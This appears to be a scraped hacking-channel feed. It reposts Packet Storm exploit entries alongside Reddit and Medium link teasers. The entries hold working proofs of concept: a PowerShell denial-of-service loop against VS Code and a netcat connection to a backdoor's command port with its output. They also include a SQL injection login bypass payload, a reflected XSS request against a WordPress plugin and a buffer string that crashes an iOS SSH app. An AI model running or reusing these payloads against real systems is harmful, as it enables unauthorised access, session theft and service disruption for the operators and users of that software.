hacking: security in practice
[100% OFF] The Ultimate Anonymity Online While Hacking!

https://external-preview.redd.it/x12yfG1F7zZn9zEfnpYHxF5_QmMVQVpZfgp6olg6wb8.jpg?width=640&crop=smart&auto=webp&s=282a76f158755bb9a4f0aadb36052b5e5e60896a submitted by /u/Smooth_Criminal07
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Visual Studio Code 1.47.1 Denial Of Service

https://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png
Visual Studio Code version 1.47.1 suffers from a denial of service vulnerability.

MD5 | 52283fdc441dfdb13a400b7c8bbb25aa

Download
# Exploit Tittle: Visual Studio Code 1.47.1 - Denial of Service (Poc)
# Exploit Author: H.H.A.Ravindu Priyankara
# Category: Denial of Service(DOS)
# Tested Version:1.47.1
# Vendor: Microsoft
# Software Download Link:https://code.visualstudio.com/updates/

Write-Host "
* *
*-------------------------------------------------------------------------------------------------------*
| |
|" -ForegroundColor Yellow -NoNewline; Write-Host " Exploit Tittle :-" -ForegroundColor Green -NoNewline; Write-Host " Visual Studio Code (VS Code) Denial of Service " -ForegroundColor Cyan -NoNewline; Write-Host " |
| |
|" -ForegroundColor Yellow -NoNewline; Write-Host " Author :-" -ForegroundColor Green -NoNewline; Write-Host " H.H.A.Ravindu.Priyankara " -ForegroundColor Cyan -NoNewline; Write-Host " |
| |
|" -ForegroundColor Yellow -NoNewline; Write-Host " Github :-" -ForegroundColor Green -NoNewline; Write-Host " https://github.com/Ravindu-Priyankara " -ForegroundColor Cyan -NoNewline; Write-Host " |
| |
|" -ForegroundColor Yellow -NoNewline; Write-Host " Youtube :-"-ForegroundColor Green -NoNewline; Write-Host " https://www.youtube.com/channel/UCKD2j5Mbr15RKaXBSIXwvMQ " -ForegroundColor Cyan -NoNewline; Write-Host " |
| |
|" -ForegroundColor Yellow -NoNewline; Write-Host " Linkedin :-"-ForegroundColor Green -NoNewline; Write-Host " https://www.linkedin.com/in/ravindu-priyankara-b77753209/ " -ForegroundColor Cyan -NoNewline; Write-Host " |
*-------------------------------------------------------------------------------------------------------*"-ForegroundColor Yellow

[string]$Userinpts = Read-Host -Prompt "Enter Run or Stop:-"
if ($Userinpts -eq "Run") {
Write-Output "Yeah I Know"
while ($True) {
$name = "AAAAAAA"
$name * 1000000
}
#or
#$name = "AAAAAAA"
#$name * 1000000
}
if ($Userinpts -eq "Stop") {
exit
}

#==========================================================
#==================== solution ============================
#==========================================================

#Update Your Visual Studio Code Application
# 1.47.1 version ==> 1.56.0 version

#==========================================================

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Psychward.c Code Execution

https://1.bp.blogspot.com/-ZbrkU7MDvJM/WWlvS7x--YI/AAAAAAAAINk/cO6KWZj5UFE3dAHctfHPCIXMYdjzVDfigCLcBGAs/s1600/h40.png
Backdoor.Win32.Psychward.c malware suffers from a code execution vulnerability.

MD5 | 856b945248e373e0d7246d64e103cdb7

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/f60a8d71a822e0e485f22ada8f26c31e.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Psychward.c
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 33777. Remote attackers who can reach infected systems can execute commands made available by the backdoor.
Type: PE32
MD5: f60a8d71a822e0e485f22ada8f26c31e
Vuln ID: MVID-2021-0218
Disclosure: 05/18/2021

Exploit/PoC:
nc64.exe x.x.x.x 33777
son-of-pw 0.1
dir
<.
<..
<0409
12520437.cpx (2151)
12520850.cpx (2233)
@AudioToastIcon.png (308)
@EnrollmentToastIcon.png (330)
@VpnToastIcon.png (404)
@WirelessDisplayToast.png (691)
aadauthhelper.dll (154624)
aadtb.dll (954880)
AboveLockAppHost.dll (252928)
accessibilitycpl.dll (3804160)
accountaccessor.dll (215552)
AccountsRt.dll (363520)
AcGenral.dll (2393600)
AcLayers.dll (372224)
acledit.dll (9216)
aclui.dll (5388800)
acppage.dll (68096)
AcSpecfc.dll (471552)
ActionCenter.dll (261632)
ActionCenterCPL.dll (541184)
ActivationClient.dll (30720)
ActivationManager.dll (444928)
activeds.dll (222720)
activeds.tlb (112128)
ActiveSyncProvider.dll (1546752)
actxprxy.dll (261632)
AcWinRT.dll (33792)
acwow64.dll (38400)

etc...

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
COVID19 Testing Management System 1.0 Cross Site Scripting

https://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png
COVID19 Testing Management System version 1.0 suffers from a cross site scripting vulnerability.

MD5 | afa3edae7ff5906b72b81fcb60cf8bac

Download
# Exploit Title: COVID19 Testing Management System 1.0 - 'Admin name' Cross-Site Scripting (XSS)
# Date: 19/05/2021
# Exploit Author: Rohit Burke
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10

==> Stored Cross-Site Scripting XSS:
An attacker uses Stored XSS to inject malicious content (referred to as
the payload), most often JavaScript code, into the target application. If
there is no input validation, this malicious code is permanently stored
(persisted) by the target application, for example within a database. For
example, an attacker may enter a malicious script into a user input field
such as a blog comment field or in a forum post.
When a victim opens the affected web page in a browser, the XSS attack
payload is served to the victim’s browser as part of the HTML code (just
like a legitimate comment would). This means that victims will end up
executing the malicious script once the page is viewed in their browser.

==> Attack Vendor:
This vulnerability can results attacker injecting the XSS payload in the
Admin profile section and each time admin visits the all other sections of
the application the XSS triggers and the attacker can able to steal the
cookie according to the crafted payload.

==> Vulnerable Parameters:
"Admin name" parameter

==> Steps for reproduce:

1) Go to http://localhost/covid-tms/login.php
and logged In as an Admin (#Username: admin #Password: Test@123).

2) Click on (Admin --> Profile). Enter the payload in
Admin name =
Click on submit.

3) Now, whichever section of the application admin visits the payload gets executed successfully.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Stop Spammers 2021.8 Cross Site Scripting

https://2.bp.blogspot.com/-466o0SY5wbQ/WWlvXOxbxYI/AAAAAAAAIOQ/eHwtwujRsQI9h-mxYQXglBmw7d5gufaKwCLcBGAs/s1600/h51.png
WordPress Stop Spammers plugin versions 2021.8 and below suffer from a cross site scripting vulnerability.

MD5 | b2b18e13ea332826d5e2948f54b7b175

Download
# Exploit Title: WordPress Plugin Stop Spammers 2021.8 - 'log' Reflected Cross-site Scripting (XSS)
# Date: 04/08/2021
# Exploit Author: Hosein Vita
# Vendor Homepage: https://wordpress.org/plugins/stop-spammer-registrations-plugin/
# Software Link: https://downloads.wordpress.org/plugin/stop-spammer-registrations-plugin.zip
# Version: <=
# Tested on: Windows-Ubuntu
# CVE : CVE-2021-24245

Summary:

Reflected cross-site scripting (XSS) vulnerabilities in 'Stop Spammers <=

Proof of concepts:

1-Install "Stop Spammers <=
2-For testing remove your IP address from the allowed list
3-Go to http:// ad" accesskey=X onclick=alert(1) "
#Notice the `ad` keyword must be in your payload!
5-Press Alt + Shift + X to trigger Xss
#Tested on Firefox

Request POC:

POST /wp-login.php HTTP/1.1
Host: localhost
Connection: close
Content-Length: 161
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_test_cookie=WP+Cookie+check;

log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
COVID19 Testing Management System 1.0 SQL Injection

https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png
COVID19 Testing Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | a5e373fba80ab6c8d5178ece6d4685ff

Download
# Exploit Title: COVID19 Testing Management System 1.0 - SQL Injection (Auth Bypass)
# Date: 19/05/2021
# Exploit Author: Rohit Burke
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10

SQL Injection:
Injection flaws, such as SQL, NoSQL, and LDAP injection, occur when
untrusted data is sent to an interpreter as part of a command or query. The
attacker’s hostile data can trick the interpreter into executing unintended
commands or accessing data without proper authorization.

Attack vector:
An attacker can gain admin panel access using malicious sql injection queries.

Steps to reproduce:
1) Open admin login page using following URl:
"http://localhost/covid-tms/login.php"

2) Now put the payload below the Username and password field.
Payload: admin' or '1'='1 and you will be successfully logged In as Admin without any credentials.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WebSSH For iOS 14.16.10 Denial Of Service

https://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png
WebSSH for iOS version 14.16.10 suffers from a denial of service vulnerability.

MD5 | 96d5a3d99c9f2c80b466a1262bc3ad37

Download
# Exploit Title: WebSSH for iOS 14.16.10 - 'mashREPL' Denial of Service (PoC)
# Author: Luis Martinez
# Discovery Date: 2021-05-18
# Vendor Homepage: https://apps.apple.com/mx/app/webssh-ssh-client/id497714887
# Software Link: App Store for iOS devices
# Tested Version: 14.16.10
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: iPhone 7 iOS 14.5.1

# Steps to Produce the Crash:
# 1.- Run python code: WebSSH_for_iOS_14.16.10.py
# 2.- Copy content to clipboard
# 3.- Open "WebSSH for iOS"
# 4.- Click -> Tools
# 5.- Click -> mashREPL
# 6.- Paste ClipBoard on "mashREPL>"
# 7.- Intro
# 8.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 300
print (buffer)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Internet World

https://cdn-images-1.medium.com/max/900/1*WBRwjY_6jVG2Q7N2v9DYdw.jpeg
This century can be called as 21st century or Century of internet. Everyone uses Smart phones and internet directly or indirectly. In…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe | Lian_YU Walkthrough

https://cdn-images-1.medium.com/max/2600/1*WvjX0Gjf735XJANWvCZ_dA.jpeg
Introduction

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hacking #1 - How should I think?

https://cdn-images-1.medium.com/max/2600/1*KGJzt9ppvox08ed7JbiXuA.jpeg
Are you curious about how things work, how to think and how to hack? Join me as I explain the process I’ve been using for the last 18…

Continue reading on strike.sh »

___________________________
@hacking_Attack
@Hacking_Video